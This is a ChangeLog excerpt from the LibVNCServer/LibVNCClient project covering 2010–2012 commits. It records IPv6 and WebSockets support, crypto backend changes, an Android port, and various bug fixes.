* libvncserver/cargs.c, libvncserver/httpd.c, libvncserver/main.c,
rfb/rfb.h: IPv6 support for LibVNCServer, part two: Let the http
server listen on IPv6, too. As done with the RFB sockets, this uses a separate-socket approach
as well.
2012-02-27 Christian Beier <>
* libvncserver/main.c: IPv6 support for LibVNCServer, part
onepointsix: fix a small logic error. Without this, we would have gotten a stale IPv4 socket in a race
2012-02-27 Christian Beier <>
* libvncserver/rfbserver.c, libvncserver/sockets.c: IPv6 support for
LibVNCServer, part onepointfive: Fix compilation with IPv6 missing. There was an oversight that crept in...
2012-02-20 Christian Beier <>
* libvncserver/cargs.c, libvncserver/main.c,
libvncserver/rfbserver.c, libvncserver/sockets.c, rfb/rfb.h: IPv6
support for LibVNCServer, part one: accept IPv4 and IPv6
connections. This uses a separate-socket approach since there are systems that do
not support dual binding sockets under *any* circumstances, for
instance OpenBSD. Using separate sockets for IPv4 and IPv6 is thus
more portable than having a v6 socket handle v4 connections as well. Signed-off-by: Christian Beier <>
2012-02-11 Mateus Cesar Groess <>
* AUTHORS, client_examples/,
client_examples/gtkvncviewer.c, Here is a port of
SDLvncviewer to GTK+2. I think it may encourage people to implement more features for the
viewer, because a GTK GUI seems to be easier to implement than a SDL
one (and it is more integrated with the major Linux Desktops out
there). Signed-off-by: Christian Beier <>
2012-02-11 Christian Beier <>
2012-02-10 Kyle J. McKay <>
* libvncserver/auth.c, libvncserver/rfbserver.c, rfb/rfb.h: Support
Mac OS X vnc client with no password Support connections from the Mac OS X built-in VNC client to
LibVNCServers running with no password and advertising a server
version of 3.7 or greater.
2012-02-04 Johannes Schindelin <>
* AUTHORS: Add Luca to the AUTHORS Signed-off-by: Johannes Schindelin <>
2012-02-04 Luca Stauble <>
* libvncclient/listen.c, libvncclient/sockets.c,
libvncclient/vncviewer.c, rfb/rfbclient.h: Add an optional parameter
to specify the ip address for reverse connections For security reasons, it can be important to limit which IP
addresses a LibVNCClient-based client should listen for reverse
connections. This commit adds that option. To preserve binary backwards-compatibility, the field was added to
the end of the rfbclient struct, and the function ListenAtTcpPort
retains its signature (but calls the new ListenAtTcpPortAndAddress). [jes: shortened the commit subject, added a longer explanation in
the commit body and adjusted style] Signed-off-by: Luca Stauble <> Signed-off-by:
Johannes Schindelin <>
2012-01-12 Gernot Tenchio <>
* libvncserver/websockets.c: websockets: removed debug message
2012-01-12 Gernot Tenchio <>
* libvncserver/websockets.c: websockets: restore errno after logging
an error
2012-01-12 Gernot Tenchio <>
* CMakeLists.txt: cmake: adapted to latest websocket crypto changes
2011-12-15 Christian Beier <>
* rfb/rfbclient.h: Small changes to LibNVCClient doxygen
2011-12-01 Christian Beier <>
* libvncserver/ Fix build error when libpng is
available, but libjpeg is not. The png stuff in tight.c depends on code in tight.c that uses
libjpeg features. We could probably seperate that, but for now the
dependency for 'tight' goes: PNG depends on JPEG depends on ZLIB. This is reflected in now. NB: Building tight.c with JPEG but without PNG is still possible, but nor the other way around.
2011-12-01 Christian Beier <>
* Use AM_SILENT_RULES only when it's actually
available. Otherwise building breaks with older make versions. Happens on OS X
10.6 for instance.
2011-11-09 Christian Beier <>
*, webclients/, webclients/index.vnc,
atch, webclients/java-applet/ssl/ultra.vnc,
webclients/ssl/, webclients/ssl/README,
webclients/ssl/index.vnc, webclients/ssl/onetimekey,
webclients/ssl/proxy.vnc, webclients/ssl/ss_vncviewer,
webclients/ssl/ultra.vnc, webclients/ssl/ultraproxy.vnc,
webclients/ssl/ultravnc-102-JavaViewer-ssl-etc.patch: Move the java
stuff into webclients/java-applet.
2011-11-09 Christian Beier <>
*,, README, classes/,
classes/index.vnc, classes/javaviewer.pseudo_proxy.patch,
classes/novnc/LICENSE.txt, classes/novnc/,
classes/novnc/favicon.ico, classes/novnc/include/base.css,
classes/novnc/include/base64.js, classes/novnc/include/black.css,
classes/novnc/include/blue.css, classes/novnc/include/des.js,
classes/novnc/include/display.js, classes/novnc/include/input.js,
classes/novnc/include/logo.js, classes/novnc/include/playback.js,
classes/novnc/include/rfb.js, classes/novnc/include/ui.js,
classes/novnc/include/util.js, classes/novnc/include/vnc.js,
classes/novnc/include/websock.js, classes/novnc/include/webutil.js,
classes/novnc/vnc.html, classes/novnc/vnc_auto.html,
classes/ssl/, classes/ssl/README, classes/ssl/index.vnc,
classes/ssl/onetimekey, classes/ssl/proxy.vnc,
classes/ssl/ultra.vnc, classes/ssl/ultraproxy.vnc,
examples/example.c, examples/pnmshow.c, examples/pnmshow24.c,
rfb/rfb.h, webclients/, webclients/index.vnc,
webclients/novnc/LICENSE.txt, webclients/novnc/,
webclients/novnc/favicon.ico, webclients/novnc/include/base.css,
webclients/novnc/include/blue.css, webclients/novnc/include/des.js,
webclients/novnc/include/rfb.js, webclients/novnc/include/ui.js,
webclients/novnc/include/util.js, webclients/novnc/include/vnc.js,
webclients/novnc/include/webutil.js, webclients/novnc/vnc.html,
webclients/novnc/vnc_auto.html, webclients/ssl/,
webclients/ssl/README, webclients/ssl/index.vnc,
webclients/ssl/onetimekey, webclients/ssl/proxy.vnc,
webclients/ssl/ultra.vnc, webclients/ssl/ultraproxy.vnc,
webclients/ssl/ultravnc-102-JavaViewer-ssl-etc.patch: Rename
'classes' dir to 'webclients'.
2011-11-09 Christian Beier <>
* classes/index.vnc, libvncserver/httpd.c: novnc client: use the
client's notion about the server hostname instead of what the server
2011-11-09 Christian Beier <>
* classes/index.vnc: Fix tiny typo.
2011-11-09 Christian Beier <>
* NEWS: Add NEWS entry.
2011-11-09 Christian Beier <>
* libvncclient/rfbproto.c: When GetCredential() callback is not set,
don't use authentications requiring it. The auth methods that employ Getcredential() will only be used if
the client's GetCredential callback is actually set.
2011-10-12 Christian Beier <>
* ChangeLog: Update ChangeLog for
2011-10-12 Christian Beier <>
* CMakeLists.txt, NEWS, Update version number in
autotools && cmake, NEWS entry.
2011-10-26 Peter Watkins <>
* rfb/rfbclient.h: Added comments.
2011-10-26 Christian Beier <>
* libvncserver/rfbserver.c: Fix deadlock in threaded mode when using
nested rfbClientIteratorNext() calls. Lengthy explanation follows... First, the scenario before this patch: We have three clients 1,2,3 connected. The main thread loops through
them using rfbClientIteratorNext() (loop L1) and is currently at
client 2 i.e. client 2's cl_2->refCount is 1. At this point we need
to loop again through the clients, with cl_2->refCount == 1, i.e. do
a loop L2 nested within loop L1. BUT: Now client 2 disconnects, it's clientInput thread terminates
its clientOutput thread and calls rfbClientConnectionGone(). This
LOCKs clientListMutex and WAITs for cl_2->refCount to become 0. This
means this thread waits for the main thread to release cl_2.
Waiting, with clientListMutex LOCKed! Meanwhile, the main thread is about to begin the inner
rfbClientIteratorNext() loop L2. The first call to
rfbClientIteratorNext() LOCKs clientListMutex. BAAM. This mutex is
locked by cl2's clientInput thread and is only released when
cl_2->refCount becomes 0. The main thread would decrement
cl_2->refCount when it would continue with loop L1. But it's waiting
for cl2's clientInput thread to release clientListMutex. Which never
happens since this one's waiting for the main thread to decrement
cl_2->refCount. DEADLOCK. Now, situation with this patch: Same as above, but when client 2 disconnects it's clientInput thread
rfbClientConnectionGone(). This again LOCKs clientListMutex, removes
cl_2 from the linked list and UNLOCKS clientListMutex. The WAIT for
cl_2->refCount to become 0 is _after_ that. Waiting, with
clientListMutex UNLOCKed! Therefore, the main thread can continue, do the inner loop L2 (now
only looping through 1,3 - 2 was removed from the linked list) and
continue with loop L1, finally decrementing cl_2->refCount, allowing
cl2's clientInput thread to continue and terminate. The resources
held by cl2 are not free()'d by rfbClientConnectionGone until
cl2->refCount becomes 0, i.e. loop L1 has released cl2.
2011-10-16 Johannes Schindelin <>
* AUTHORS: Update AUTHORS Signed-off-by: Johannes Schindelin <>
2011-10-16 George Fleury <>
* libvncserver/rfbserver.c: Fix memory leak I was debbuging some code tonight and i found a pointer that is not
been freed, so i think there is maybe a memory leak, so it is... there is the malloc caller reverse order: ( malloc cl->statEncList ) <- rfbStatLookupEncoding <- rfbStatRecordEncodingSent <- rfbSendCursorPos <- rfbSendFramebufferUpdate <- rfbProcessEvents I didnt look the whole libvncserver api, but i am using
rfbReverseConnection with rfbProcessEvents, and then when the client
connection dies, i am calling a rfbShutdownServer and
rfbScreenCleanup, but the malloc at rfbStatLookupEncoding isnt been
freed. So to free the stats i added a rfbResetStats(cl) after
rfbPrintStats(cl) at rfbClientConnectionGone in rfbserver.c before
free the cl pointer. (at rfbserver.c line 555). And this, obviously,
is correcting the memory leak. Signed-off-by: Johannes Schindelin <>
2011-10-08 Johannes Schindelin <>
* rfb/rfbclient.h: Hopefully fix the crash when updating from 0.9.7
or earlier For backwards-compatibility reasons, we can only add struct members
to the end. That way, existing callers still can use newer
libraries, as the structs are always allocated by the library (and
therefore guaranteed to have the correct size) and still rely on the
same position of the parts the callers know about. Reported by Luca Falavigna. Signed-off-by: Johannes Schindelin <>
2011-10-09 Johannes Schindelin <>
* client_examples/SDLvncviewer.c: SDLvncviewer: make it resizable by
default I got annoyed having to specify -resizable all the time; I never use
it in another mode anymore, since I am on a netbook. The option -no-resizable was added to be able to switch off that
feature. Signed-off-by: Johannes Schindelin <>
2011-10-06 Christian Beier <>
* libvncserver/httpd.c: httpd: fix sending of binary data such as
images. We do this simply by omitting the content-type and let the browser
decide upon the mime-type of the sent file. Only exception is
'index.vnc', where we do set the content-type since some browsers
fail to detect it's html when it's ending in '.vnc' Also, remove superfluous #defines. We close the connection always.
2011-10-06 Christian Beier <>
* classes/index.vnc: Fix typo && use proper website.
2011-10-04 Christian Beier <>
* classes/index.vnc, classes/novnc/LICENSE.txt,
classes/novnc/, classes/novnc/favicon.ico,
classes/novnc/include/base.css, classes/novnc/include/base64.js,
classes/novnc/include/black.css, classes/novnc/include/blue.css,
classes/novnc/include/des.js, classes/novnc/include/display.js,
classes/novnc/include/input.js, classes/novnc/include/logo.js,
classes/novnc/include/playback.js, classes/novnc/include/rfb.js,
classes/novnc/include/ui.js, classes/novnc/include/util.js,
classes/novnc/include/websock.js, classes/novnc/include/webutil.js,
classes/novnc/vnc.html, classes/novnc/vnc_auto.html,
libvncserver/httpd.c: Add noVNC HTML5 client connect possibility to
our http server. Pure JavaScript, no Java plugin required anymore! (But a recent
2011-10-04 Christian Beier <>
* This build warning is a libvncserver one, not for
x11vnc. Also, make it warn more generally when no known encryption lib is
2011-09-21 Gernot Tenchio <>
* common/md5.c: md5: forced to use function names with leading
underscores Commented out the surrounding '#ifdef _LIBC' to build md5.o with
leading underscores. This is required to match the prototypes
defined in md5.h.
2011-09-20 Gernot Tenchio <>
* libvncserver/rfbcrypto_included.c: rfbcrypto_included: fix c&p
2011-09-20 Gernot Tenchio <>
* libvncserver/rfbcrypto_polarssl.c: rfbcrypto_polarssl: it was way
to late last night...
2011-09-18 Gernot Tenchio <>
* libvncserver/, libvncserver/rfbcrypto.h,
libvncserver/rfbcrypto_gnutls.c, libvncserver/rfbcrypto_included.c,
libvncserver/rfbcrypto_polarssl.c, libvncserver/websockets.c: Add
support for different crypto implementations
2011-09-11 Christian Beier <>
*, libvncserver/ Autotools: Fix OpenSSL and
GnuTLS advertisement.
2011-09-11 Christian Beier <>
* libvncserver/rfbssl_gnutls.c: Fix libvncserver GnuTLS init. gnutls_certificate_set_x509_trust_file() returns the number of
processed certs and _not_ GNUTLS_E_SUCCESS (0) on success!
2011-09-11 Christian Beier <>
* AUTHORS, libvncserver/websockets.c: Update AUTHORS regarding the
websocket guys.
2011-08-28 Gernot Tenchio <>
* configure: Add AM_SILENT_RULES Working with “silent make mode” makes debugging a lot of easier
since warnings wont shadowed by useless compiler noise
2011-08-27 Gernot Tenchio <>
* CMakeLists.txt: cmake: set SOVERSION
2011-09-11 Christian Beier <>
*, libvncserver/ Autotools: Fix OpenSSL and
GnuTLS advertisement.
2011-09-11 Christian Beier <>
* libvncserver/rfbssl_gnutls.c: Fix libvncserver GnuTLS init. gnutls_certificate_set_x509_trust_file() returns the number of
processed certs and _not_ GNUTLS_E_SUCCESS (0) on success!
2011-09-11 Christian Beier <>
* AUTHORS, libvncserver/websockets.c: Update AUTHORS regarding the
websocket guys.
2011-09-02 Gernot Tenchio <>
* libvncserver/websockets.c: websocket: Use a single buffer for
both, encoding and decoding
2011-08-30 Gernot Tenchio <>
* libvncserver/rfbssl_gnutls.c: rfbssl_gnutls: Merge
rfbssl_peek/rfbssl_read into one function
2011-08-30 Gernot Tenchio <>
* libvncserver/websockets.c: websockets: fix
webSocketCheckDisconnect() Do not consume the peeked data if no close frame was detected.
2011-08-29 Gernot Tenchio <>
* libvncserver/websockets.c: websockets: use 32bit Xor in
2011-08-29 Gernot Tenchio <>
* CMakeLists.txt: cmake: use sha1.c for websocket builds
2011-08-25 Gernot Tenchio <>
* libvncserver/websockets.c: websockets: nothing to worry about
2011-08-25 Gernot Tenchio <>
* libvncserver/websockets.c: websockets: added gcrypt based sha1
digest funtion
2011-08-25 Joel Martin <>
* common/sha1.c, common/sha1.h, libvncserver/,
libvncserver/websockets.c: Add sha1.*. Remove UTF-8 encode. Protocol
handling. Add common/sha1.h and common/sha1.c so that we have the SHA routines
even if openssl is not available. From the IETF SHA RFC example
code. Remove the UTF-8 encoding hack. This was really just an experiment. If the protocol passed in the handshake has "binary" then don't
base64 encode for the HyBi protocol. This will allow noVNC to
request the binary data be passed raw and not base64 encoded.
Unfortunately, the client doesn't speak first in VNC protocol (bad
original design). If it did then we could determine whether to
base64 encode or not based on the first HyBi frame from the client
and whether the binary bit is set or not. Oh well. Misc Cleanup: - Always free response and buf in handshake routine. - Remove some unused variables.
2011-08-25 Gernot Tenchio <>
* CMakeLists.txt: cmake: make some noise
2011-08-25 Gernot Tenchio <>
* libvncserver/rfbssl_gnutls.c: websockets: remove warning on 64bit
2011-08-25 Gernot Tenchio <>
* libvncserver/websockets.c: websockets: Removed debugging left over
2011-08-25 Gernot Tenchio <>
* libvncserver/websockets.c: websockets: Use callback functions for
2011-08-25 Gernot Tenchio <>
* libvncserver/rfbserver.c, libvncserver/sockets.c,
libvncserver/websockets.c, rfb/rfb.h: websockets: Move Hixie
disconnect hack to websockets.c Move the hixie disconnect hack to websockets.c. Removed the
remaining websockets vars from rfbClientPtr, so all websockets stuff
is hidden behind an opaque pointer.
2011-08-25 Gernot Tenchio <>
* libvncserver/rfbserver.c, libvncserver/sockets.c,
libvncserver/websockets.c, rfb/rfb.h: websockets: Initial HyBi
2011-08-16 Gernot Tenchio <>
* CMakeLists.txt: cmake: don't link sdl libs to vnc libraries Signed-off-by: Johannes Schindelin <>
2011-08-16 Gernot Tenchio <>
* libvncserver/sockets.c, libvncserver/websockets.c, rfb/rfb.h:
websockets: Add wspath member to rfbClientRec Added wspath member to rfbClientRec which holds the path component
of the initial websocket request. Signed-off-by: Johannes Schindelin <>
2011-08-16 Gernot Tenchio <>
* CMakeLists.txt, common/md5.c, common/md5.h,
libvncserver/, libvncserver/md5.c, libvncserver/md5.h:
Move libvncserver/md5* to common Signed-off-by: Johannes Schindelin <>
2011-08-16 Gernot Tenchio <>
* CMakeLists.txt, rfb/rfbconfig.h.cmake: websockets: Add Websockets
support to CMakeLists.txt Signed-off-by: Johannes Schindelin <>
2011-08-16 Joel Martin <>
* libvncserver/, libvncserver/cargs.c: websockets: Add
SSL cert command line options. - Add --sslcertfile and --sslkeyfile. These should really be
combined with the existing x11vnc command line options for SSL
support. Signed-off-by: Johannes Schindelin <>
2011-08-17 Gernot Tenchio <>
*, libvncserver/,
libvncserver/rfbssl_gnutls.c, libvncserver/rfbssl_openssl.c:
websockets: add GnuTLS and OpenSSL support For now, only OpenSSL support is activated through configure, since
GnuTLS is only used in LibVNCClient. [jes: separated this out from the commit adding encryption support,
added autoconf support.] Signed-off-by: Johannes Schindelin <>
2011-08-16 Gernot Tenchio <>
* libvncserver/, libvncserver/rfbserver.c,
libvncserver/rfbssl.h, libvncserver/rfbssl_none.c,
libvncserver/sockets.c, libvncserver/websockets.c, rfb/rfb.h:
websockets: Add encryption support [jes: moved out GnuTLS and OpenSSL support, added a dummy support,
to separate changes better, and to keep things compiling] Signed-off-by: Johannes Schindelin <>
2011-08-16 Joel Martin <>
* libvncserver/websockets.c: websockets: Properly parse Hixie-76
handshake. Signed-off-by: Johannes Schindelin <>
2011-08-16 Joel Martin <>
* libvncserver/rfbserver.c, libvncserver/websockets.c: websockets:
Add UTF-8 encoding support. This is not completely standard UTF-8 encoding. Only code points
0-255 are encoded and never encoded to more than two octets. Since
'\x00' is a WebSockets framing character, it's easier for all
parties to encode zero as '\xc4\x80', i.e. 194+128, i.e. UTF-8 256. This means that a random stream will be slightly more than 50%
larger using this encoding scheme. But it's easy CPU-wise for client
and server to decode/encode. This is especially important for
clients written in languages that have weak bitops, like Javascript
(i.e. the noVNC client). Signed-off-by: Johannes Schindelin <>
2011-08-16 Joel Martin <>
* libvncserver/rfbserver.c: websockets: Better disconnect detection. If the only thing we are waiting on is a WebSockets terminator, then
remove it from the stream early on in rfbProcessClientNormalMessage. Signed-off-by: Johannes Schindelin <>
2011-08-16 Joel Martin <>
*, libvncserver/, libvncserver/md5.c,
libvncserver/md5.h, libvncserver/rfbserver.c,
libvncserver/sockets.c, libvncserver/websockets.c, rfb/rfb.h:
websockets: Initial WebSockets support. Has a bug: WebSocket client disconnects are not detected.
rfbSendFramebufferUpdate is doing a MSG_PEEK recv to determine if
enough data is available which prevents a disconnect from being
detected. Otherwise it's working pretty well. [jes: moved added struct members to the end for binary compatibility
with previous LibVNCServer versions, removed an unused variable] Signed-off-by: Johannes Schindelin <>
2011-08-17 Johannes Schindelin <>
* .gitignore: .gitignore: zippy has moved Signed-off-by: Johannes Schindelin <>
2011-07-25 Christian Beier <>
* examples/android/README: Add installation hints to android example
2011-07-22 William Roberts <>
* examples/android/jni/fbvncserver.c: Reduced memory footprint by
2011-07-22 William Roberts <>
* examples/android/jni/fbvncserver.c: Corrected resolution issue,
but screen is getting reported as wrong size
2011-07-23 ckanru <>
* examples/android/jni/fbvncserver.c: Fixes running vncserver on
beagleboard/0xdroid and possibly any device without a touch screen.
Because fake touch screen always report zero when query device
information, coordinates transformation is not needed. Signed-off-by: Christian Beier <>
2011-07-23 Christian Beier <>
*, examples/, examples/android/,
rfb/rfb.h, vncterm/ Adopt autotools build system to
Android. LibVNCServer/LibVNCClient now build for Android!
2011-07-23 Christian Beier <>
* examples/android/README, examples/android/jni/,
examples/android/jni/fbvncserver.c: Add androidvncserver example.
2011-07-22 letsgoustc <>
* rfb/rfb.h: Make LibVNCServer build for Android. Signed-off-by: Christian Beier <>
2011-07-19 Joel Martin <>
* libvncserver/tight.c: tightPng: check even for SendGradientRect. Signed-off-by: Christian Beier <>
2011-07-19 Joel Martin <>
* CMakeLists.txt,, libvncserver/,
libvncserver/rfbserver.c, libvncserver/stats.c,
libvncserver/tight.c, rfb/rfb.h, rfb/rfbconfig.h.cmake,
rfb/rfbproto.h: tightPng: Add initial tightPng encoding support. Signed-off-by: Joel Martin <> Signed-off-by:
Christian Beier <>
2011-06-01 Christian Beier <>
* libvncserver/main.c, libvncserver/sockets.c: Remove some unused
2010-11-14 George Kiagiadakis <>
* libvncserver/sockets.c, rfb/rfb.h: Fix rfbProcessNewConnection to
return some value instead of void. BUG: 256891 Signed-off-by: Christian Beier <>
2010-11-10 George Kiagiadakis <>
* libvncserver/main.c, libvncserver/sockets.c, rfb/rfb.h: Split two
event-loop related functions out of the rfbProcessEvents()
mechanism. This is required to be able to do proper event loop integration with
Qt. Idea was taken from vino's libvncserver fork. Signed-off-by: Christian Beier <>
2011-05-06 Cristian Rodríguez <>
* libvncserver/tightvnc-filetransfer/filetransfermsg.c: Fix buffer
overflow Signed-off-by: Cristian Rodríguez <>
Signed-off-by: Christian Beier <>
2011-04-30 Christian Beier <>
* libvncserver/tight.c: Revert "Fix memory corruption bug." This reverts commit c1363fa9583ed41b94fbc79b3ff410b7d5189407. The proper fix was already in
2011-04-28 Johannes Schindelin <>
* AUTHORS: UTF-8ify AUTHORS Signed-off-by: Johannes Schindelin <>
2011-04-28 Johannes Schindelin <>
* AUTHORS: Update AUTHORS Signed-off-by: Johannes Schindelin <>
2010-11-10 George Kiagiadakis <>
* libvncserver/tight.c: Fix memory corruption bug. This bug occured when a second telepathy tubes client was connected
after the first one had disconnected and the channel (thus, the
screen too) had been destroyed. Signed-off-by: Johannes Schindelin <>
2010-11-10 George Kiagiadakis <>
* common/zywrletemplate.c, libvncserver/auth.c,
libvncserver/rfbserver.c, libvncserver/scale.c,
libvncserver/scale.h, rfb/rfb.h: Fix compilation in c89 mode. Signed-off-by: Johannes Schindelin <>
2011-04-27 Vic Lee <>
* libvncclient/tls.c: Replace deprecated GnuTLS functions
gnutls_*_set_priority with gnutls_priority_set_direct. The functions gnutls_*_set_priority we used were marked deprecated
since latest GnuTLS version 2.12. However the replacement function
gnutls_priority_set_direct is available since 2.2, which is even
lower than our version requirement 2.4 in configure. The patch just
replace the deprecate function to fix the compile warning. Signed-off-by: Vic Lee <> Signed-off-by: Johannes
Schindelin <>
2011-03-30 Christian Beier <>
* ChangeLog: Update ChangeLog for 0.9.8.
2011-03-29 Christian Beier <>
* README: Remove RDP from the README description. We do VNC but no RDP. Pointed out by Vic Lee, thanks!
2011-03-29 Christian Beier <>
* utils/ Fix skipping of merge commits in log convert
2011-03-29 Christian Beier <>
*,, utils/,
utils/, utils/ Add a git-log to GNU-Style
ChangeLog converter script. Also put all helper scripts into a utils directory.
2011-03-28 Christian Beier <>
* NEWS: Mention the pkg-config stuff in NEWS.
2011-03-27 Vic Lee <>
* .gitignore,,,, Add libvncserver.pc and libvncclient.pc files. Signed-off-by: Vic Lee <> Signed-off-by: Christian
Beier <>
2011-03-17 Christian Beier <>
* libvncclient/ultra.c, libvncserver/ultra.c: Fix regression in
Ultra encoding introduced by commit
fe1ca16e9b75b5f38ab374c8dfff92d2c3ea4532. My bad. There we see what the encodings test is good for ;-)
2011-03-17 Christian Beier <>
* test/encodingstest.c: Update encodingstest. * Fixed segfault on shutdown. * Updated to test all encodings. * Fixed to operate with encodings that split up rects into smaller rects.
2011-03-17 Christian Beier <>
* libvncclient/rfbproto.c: Remove useless comparisons that always
evaluate to false. There can not be more than 255 security types and MSLogon is RFB 3.6
2011-03-17 Christian Beier <>
* examples/rotate.c, examples/rotatetemplate.c, examples/vncev.c,
libvncclient/listen.c, libvncclient/rfbproto.c,
libvncclient/ultra.c, libvncclient/zrle.c,
libvncserver/rfbserver.c, libvncserver/ultra.c: Fix (most) MinGW32
compiler warnings.
2011-03-17 Christian Beier <>
* examples/rotate.c, examples/zippy.c, libvncserver/zrle.c,
libvncserver/zrleencodetemplate.c: Fix remaining compiler warnings.
2011-03-17 Christian Beier <>
* VisualNaCro/nacro.c, examples/backchannel.c, examples/camera.c,
examples/colourmaptest.c, examples/example.c,
examples/filetransfer.c, examples/fontsel.c, examples/mac.c,
examples/pnmshow.c, examples/pnmshow24.c, examples/simple.c,
examples/simple15.c, examples/vncev.c, examples/zippy.c,
test/cargstest.c, test/copyrecttest.c, test/cursortest.c,
test/encodingstest.c: Check rfbGetScreen() return value everywhere. This fixes a segfault when a server is invoked with the '-help'
commandline argument.
2011-03-12 Christian Beier <>
* CMakeLists.txt, rfb/rfbconfig.h.cmake: CMake: Check for libgcrypt
2011-03-12 Christian Beier <>
* CMakeLists.txt: CMake: Threads can be available even if SDL is
2011-03-12 Christian Beier <>
* CMakeLists.txt: CMake: fix building SDLvncviewer.
2011-03-12 Christian Beier <>
* Include cmake configure file templates in dist
tarball. Signed-off-by: Christian Beier <>
2011-03-12 Christian Beier <>
* rfb/, rfb/ Remove autogenerated files.
2011-03-12 Christian Beier <>
* NEWS: Update NEWS for 0.9.8 release.
2011-03-07 Christian Beier <>
* libvncclient/tls.c: Fix libvncclient TLS for Windows builds. GnuTLS seems to expect proper errno values internally. So set them
in our custom push/pull functions. Parts of the patch stolen from
libcurl, thanks! Signed-off-by: Christian Beier <>
2011-03-07 Christian Beier <>
* libvncclient/rfbproto.c: Let libvncclient build with gcrypt for
MinGW32 builds. Signed-off-by: Christian Beier <>
2011-03-07 Vic Lee <>
* libvncclient/sockets.c: Use WaitForMessage instead of sleep in
socket reading to fix performance issue. Signed-off-by: Christian Beier <>
2011-03-10 Christian Beier <>
* common/d3des.c, common/d3des.h, libvncserver/auth.c,
libvncserver/corre.c, libvncserver/cutpaste.c, libvncserver/draw.c,
libvncserver/font.c, libvncserver/hextile.c, libvncserver/httpd.c,
libvncserver/rfbregion.c, libvncserver/rre.c,
libvncserver/selbox.c, libvncserver/sockets.c,
libvncserver/stats.c, libvncserver/tableinit24.c,
libvncserver/tabletranstemplate.c, libvncserver/translate.c,
libvncserver/zrletypes.h, rfb/rfbregion.h, test/blooptest.c,
test/cursortest.c: Set proper file permissions for source files.
2011-03-10 Christian Beier <>
* CMakeLists.txt, Next version will be 0.9.8.
2011-03-10 Christian Beier <>
*,, contrib/, contrib/zippy.c,
examples/, examples/zippy.c: Move zippy.c to examples.
2011-03-03 Christian Beier <>
* libvncclient/sockets.c, libvncclient/tls.c, libvncserver/httpd.c,
libvncserver/rfbserver.c, libvncserver/sockets.c: Call
WSAGetLastError() everywhere errno is read after a Winsock call. Winsock does NOT update errno for us, we have fetch the last error
manually using WSAGetLastError().
2011-01-29 Christian Beier <>
* common/lzoconf.h, common/lzodefs.h, common/minilzo.c,
common/minilzo.h, libvncclient/,
libvncserver/ Update minilzo library used for Ultra
encoding to ver 2.04. According to the minilzo README, this brings a significant speedup
on 64-bit architechtures. Changes compared to old version 1.08 can be found here: Signed-off-by: Christian Beier <>
2011-01-24 Christian Beier <>
* libvncserver/corre.c, libvncserver/main.c,
libvncserver/private.h, libvncserver/rfbserver.c,
libvncserver/rre.c, libvncserver/ultra.c, rfb/rfb.h: libvncserver:
Make RRE, CoRRE and Ultra encodings thread-safe. This adds generic before/after encoding buffers to the rfbClient
struct, so there is no need for thread local storage. Signed-off-by: Christian Beier <>
2011-02-02 Christian Beier <>
* Include CMakeLists.txt file in dist tarball.
2011-01-29 Christian Beier <>
* .cvsignore, README.cvs, VisualNaCro/.cvsignore,
classes/.cvsignore, client_examples/.cvsignore, contrib/.cvsignore,
cvs_update_anonymously, examples/.cvsignore,
libvncclient/.cvsignore, libvncserver/.cvsignore,
libvncserver/tightvnc-filetransfer/.cvsignore, rfb/.cvsignore,
test/.cvsignore, vncterm/.cvsignore: Remove unneeded files
concerning CVS. We have a git repo nowadays and I guess we won't go back to CVS. Signed-off-by: Christian Beier <>
2011-01-31 Johannes Schindelin <>
* examples/example.dsp, libvncserver.dsp, libvncserver.dsw: Remove
completely broken Visual Studio project files If people seriously consider building with Visual Studio, there is
always CMake. Pointed out by Christian Beier. Signed-off-by: Johannes Schindelin <>
2011-01-31 Christian Beier <>
* client_examples/, client_examples/SDLvncviewer.c:
SDLvncviewer: fix compilation from dist tarball. Signed-off-by: Christian Beier <>
Signed-off-by: Johannes Schindelin <>
2011-01-21 Vic Lee <>
* acinclude.m4,, libvncclient/rfbproto.c,
rfb/rfbproto.h: Add ARD (Apple Remote Desktop) security type support Signed-off-by: Vic Lee <> Signed-off-by: Christian
Beier <>
2011-01-25 Christian Beier <>
* CMakeLists.txt, common/d3des.c, common/d3des.h, common/lzoconf.h,
common/minilzo.c, common/minilzo.h, common/vncauth.c,
common/zywrletemplate.c, libvncclient/,
libvncclient/lzoconf.h, libvncclient/minilzo.c,
libvncclient/minilzo.h, libvncclient/rfbproto.c,
libvncclient/zrle.c, libvncserver/,
libvncserver/d3des.c, libvncserver/d3des.h, libvncserver/lzoconf.h,
libvncserver/minilzo.c, libvncserver/minilzo.h,
libvncserver/vncauth.c, libvncserver/zywrletemplate.c: Put files
used by both libs into a 'common' dir. No functional changes. All files used by _both_ libvncserver and
libvncclient are put into a 'common' directory and references from
other files as well as Autotools and CMake build systems are
updated. Signed-off-by: Christian Beier <>
2011-01-20 ebola_rulez <>
* libvncserver/vncauth.c: Fix two errors found by cppcheck Signed-off-by: Vic Lee <> Signed-off-by: Christian
Beier <>
2011-01-01 runge <>
* libvncserver/rfbserver.c: Remove never used protocol version name
2010-12-29 runge <>
*, x11vnc/ChangeLog, x11vnc/,
x11vnc/README, x11vnc/avahi.c, x11vnc/cleanup.c,
x11vnc/connections.c, x11vnc/connections.h, x11vnc/help.c,
x11vnc/inet.c, x11vnc/inet.h, x11vnc/macosx.c, x11vnc/macosxCG.c,
x11vnc/macosxCG.h, x11vnc/macosx_opengl.c, x11vnc/macosx_opengl.h,
x11vnc/options.c, x11vnc/options.h, x11vnc/rates.c,
x11vnc/screen.c, x11vnc/ssltools.h, x11vnc/util.c, x11vnc/x11vnc.1,
x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c,
x11vnc/xwrappers.c: x11vnc: Use opengl to read screen on macosx.
non-deprecated macosx interfaces for input injection.
2010-12-21 runge <>
*,, x11vnc/README,
x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: x11vnc: force
--with-system-libvncserver to use correct headers.
2010-12-21 runge <>
* classes/ssl/ss_vncviewer,
classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch,, x11vnc/8to24.c, x11vnc/ChangeLog,
x11vnc/, x11vnc/README, x11vnc/RELEASE-NOTES,
x11vnc/appshare.c, x11vnc/cleanup.c, x11vnc/gui.c, x11vnc/help.c,
x11vnc/keyboard.c, x11vnc/keyboard.h, x11vnc/linuxfb.c,
x11vnc/macosx.c, x11vnc/macosxCG.c, x11vnc/misc/,
x11vnc/misc/README, x11vnc/misc/,
x11vnc/misc/, x11vnc/pointer.c, x11vnc/remote.c,
x11vnc/scan.c, x11vnc/screen.c, x11vnc/sslhelper.c,
x11vnc/ssltools.h, x11vnc/uinput.c, x11vnc/uinput.h,
